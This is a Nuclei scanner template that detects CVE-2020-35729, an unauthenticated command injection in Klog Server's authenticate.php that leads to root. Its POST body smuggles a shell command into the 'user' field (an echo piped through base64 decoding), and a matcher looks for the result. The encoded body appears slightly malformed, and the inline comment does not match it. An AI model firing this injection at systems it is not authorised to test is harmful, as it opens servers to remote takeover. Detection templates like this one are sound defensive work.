31 lines
1.5 KiB
YAML
31 lines
1.5 KiB
YAML
id: CVE-2020-35729
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info:
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name: Klog Server <=2.41- Unauthenticated Command Injection
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author: dwisiswant0
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severity: critical
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description: Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the Apache user to execute any command as root without providing a password, resulting in privileged command execution as root. Originated from Metasploit module, copyright (c) space-r7.
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reference:
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- https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection
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- https://nvd.nist.gov/vuln/detail/CVE-2020-35729
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- https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/Exploit_Code
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- https://github.com/mustgundogdu/Research/blob/main/KLOG_SERVER/README.md
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-35729
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cwe-id: CWE-78
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tags: cve,cve2020,klog,rce
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requests:
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- method: POST
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path:
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- "{{BaseURL}}/actions/authenticate.php"
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body: 'user=pdnuclei%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd=pdnuclei' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo"
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matchers:
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- type: word
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words:
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- "poc-testing" # from Base64 decoding payload
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# Enhanced by mp on 2022/04/28
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